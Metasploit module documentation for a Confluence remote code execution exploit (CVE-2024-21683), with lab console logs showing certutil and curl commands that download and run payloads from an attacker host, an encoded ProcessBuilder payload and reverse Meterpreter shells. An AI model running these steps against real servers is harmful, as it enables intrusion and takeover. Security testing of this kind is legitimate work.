## Vulnerable Application
This module exploits an authenticated administrator-level vulnerability in Atlassian Confluence,
tracked as CVE-2024-21683. The vulnerability exists due to the Rhino script engine parser evaluating
tainted data from uploaded text files. This facilitates arbitrary code execution. This exploit will
authenticate, validate user privileges, extract the underlying host OS information, then trigger
remote code execution. All versions of Confluence prior to 7.17 are affected, as are many versions
up to 8.9.0.

## Testing
Download and install a [vulnerable version of Atlassian Confluence](https://www.atlassian.com/software/confluence/download-archives).
By default, Confluence serves an HTTP service on TCP port 8090. This module was tested against four Confluence installs:
Linux and Windows Confluence hosts running two different versions, 8.9.0 and 7.20.2. The target host operating systems
were Ubuntu 22.04 and Server 2022.

## Verification Steps
Note: Disable Defender if you are using the default payloads.

Steps:
1. Start msfconsole
2. `use exploit/multi/http/atlassian_confluence_rce_cve_2024_21683`
3. `set RHOST 192.168.156.131`
4. `check`
5. `set LHOST 192.168.156.129`
6. `set ADMIN_USER admin`
7. `set ADMIN_PASS Password123!`
8. For Windows targets, `set FETCH_COMMAND CERTUTIL` is recommended. For Linux targets, `set FETCH_COMMAND CURL` is recommended.
9. `exploit`

## Options

### ADMIN_USER

The known Confluence administrator username.

### ADMIN_PASS

The known Confluence administrator password.

## Scenarios

### Windows Server 2022 (10.0 Build 20348)
```
msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_USER admin
ADMIN_USER => admin
msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_PASS Password123!
ADMIN_PASS => Password123!
msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set LHOST 192.168.156.129
LHOST => 192.168.156.129
msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set FETCH_COMMAND CERTUTIL 
FETCH_COMMAND => CERTUTIL
msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set FETCH_SRVHOST 192.168.156.129
FETCH_SRVHOST => 192.168.156.129
msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set RHOSTS 192.168.156.131
RHOSTS => 192.168.156.131
msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > check
[*] 192.168.156.131:8090 - The target appears to be vulnerable. Exploitable version of Confluence: 7.20.2
msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set VERBOSE true
VERBOSE => true
msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > run

[*] Command to run on remote host: certutil -urlcache -f http://192.168.156.129:8080/h2Wbt3lK1eTiVRc3SNDL1w %TEMP%\iYgswSHqZU.exe & start /B %TEMP%\iYgswSHqZU.exe
[*] Fetch handler listening on 192.168.156.129:8080
[*] HTTP server started
[*] Adding resource /h2Wbt3lK1eTiVRc3SNDL1w
[*] Started reverse TCP handler on 192.168.156.129:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable version of Confluence: 7.20.2
[*] Successfully authenticated to Confluence
[*] The provided user is an administrator
[*] Secure Administrator Sessions enabled - elevating session
[*] Grabbed elevation CSRF token: a8fc89e32b0baa5f6d72247e614e37bdf11c33c4
[*] Administrator session has been elevated
[*] Target returned the operating system string 'Windows Server 2022 10.0'
[*] Grabbed macro CSRF token: de21269d58ebd338bed3a2bd15a4c54fe321785b
[*] Crafted ProcessBuilder payload string: new java.lang.ProcessBuilder("cmd.exe", "/c", new java.lang.String(java.util.Base64.getDecoder().decode('Y2VydHV0aWwgLXVybGNhY2hlIC1mIGh0dHA6Ly8xOTIuMTY4LjE1Ni4xMjk6ODA4MC9oMldidDNsSzFlVGlWUmMzU05ETDF3ICVURU1QJVxpWWdzd1NIcVpVLmV4ZSAmIHN0YXJ0IC9CICVURU1QJVxpWWdzd1NIcVpVLmV4ZQ=='))).start()
[*] Sending POST request to trigger code execution
[*] Client 192.168.156.131 requested /h2Wbt3lK1eTiVRc3SNDL1w
[*] Sending payload to 192.168.156.131 (Microsoft-CryptoAPI/10.0)
[*] Client 192.168.156.131 requested /h2Wbt3lK1eTiVRc3SNDL1w
[*] Sending payload to 192.168.156.131 (CertUtil URL Agent)
[*] Sending stage (201798 bytes) to 192.168.156.131
[*] Meterpreter session 1 opened (192.168.156.129:4444 -> 192.168.156.131:51064) at 2024-07-09 10:19:08 -0500

meterpreter > getuid
Server username: SRV01\Administrator
meterpreter > pwd
C:\Program Files\Atlassian\Confluence\bin
meterpreter > sysinfo
Computer        : SRV01
OS              : Windows Server 2022 (10.0 Build 20348).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows
```

### Ubuntu 22.04 (Linux 6.5.0-41-generic)
```
msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_USER admin
ADMIN_USER => admin
msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set ADMIN_PASS Password123!
ADMIN_PASS => Password123!
msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set RHOSTS 192.168.156.133
RHOSTS => 192.168.156.133
msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > check
[*] 192.168.156.133:8090 - The target appears to be vulnerable. Exploitable version of Confluence: 8.9.0
msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set FETCH_COMMAND CURL
FETCH_COMMAND => CURL
msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > set VERBOSE true
VERBOSE => true
msf exploit(multi/http/atlassian_confluence_rce_cve_2024_21683) > run

[*] Command to run on remote host: curl -so ./UyvwIjHwXcB http://192.168.156.129:8080/zR2OIDxwf8sUzl-Aq0rIXg; chmod +x ./UyvwIjHwXcB; ./UyvwIjHwXcB &
[*] Fetch handler listening on 192.168.156.129:8080
[*] HTTP server started
[*] Adding resource /zR2OIDxwf8sUzl-Aq0rIXg
[*] Started reverse TCP handler on 192.168.156.129:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Exploitable version of Confluence: 8.9.0
[*] Successfully authenticated to Confluence
[*] The provided user is an administrator
[*] Target returned the operating system string 'Linux 6.5.0-41-generic'
[*] Grabbed macro CSRF token: 671809d94b9274550326b77f1618381188952a53
[*] Crafted ProcessBuilder payload string: new java.lang.ProcessBuilder("/bin/sh", "-c", new java.lang.String(java.util.Base64.getDecoder().decode('Y3VybCAtc28gLi9VeXZ3SWpId1hjQiBodHRwOi8vMTkyLjE2OC4xNTYuMTI5OjgwODAvelIyT0lEeHdmOHNVemwtQXEwcklYZzsgY2htb2QgK3ggLi9VeXZ3SWpId1hjQjsgLi9VeXZ3SWpId1hjQiAm'))).start()
[*] Sending POST request to trigger code execution
[*] Client 192.168.156.133 requested /zR2OIDxwf8sUzl-Aq0rIXg
[*] Sending payload to 192.168.156.133 (curl/7.81.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.156.133
[*] Meterpreter session 1 opened (192.168.156.129:4444 -> 192.168.156.133:60308) at 2024-07-09 10:40:32 -0500

meterpreter > getuid
Server username: confluence
meterpreter > pwd
/atlassian-confluence-8.9.0
meterpreter > sysinfo
Computer     : 192.168.156.133
OS           : Ubuntu 22.04 (Linux 6.5.0-41-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > 
```
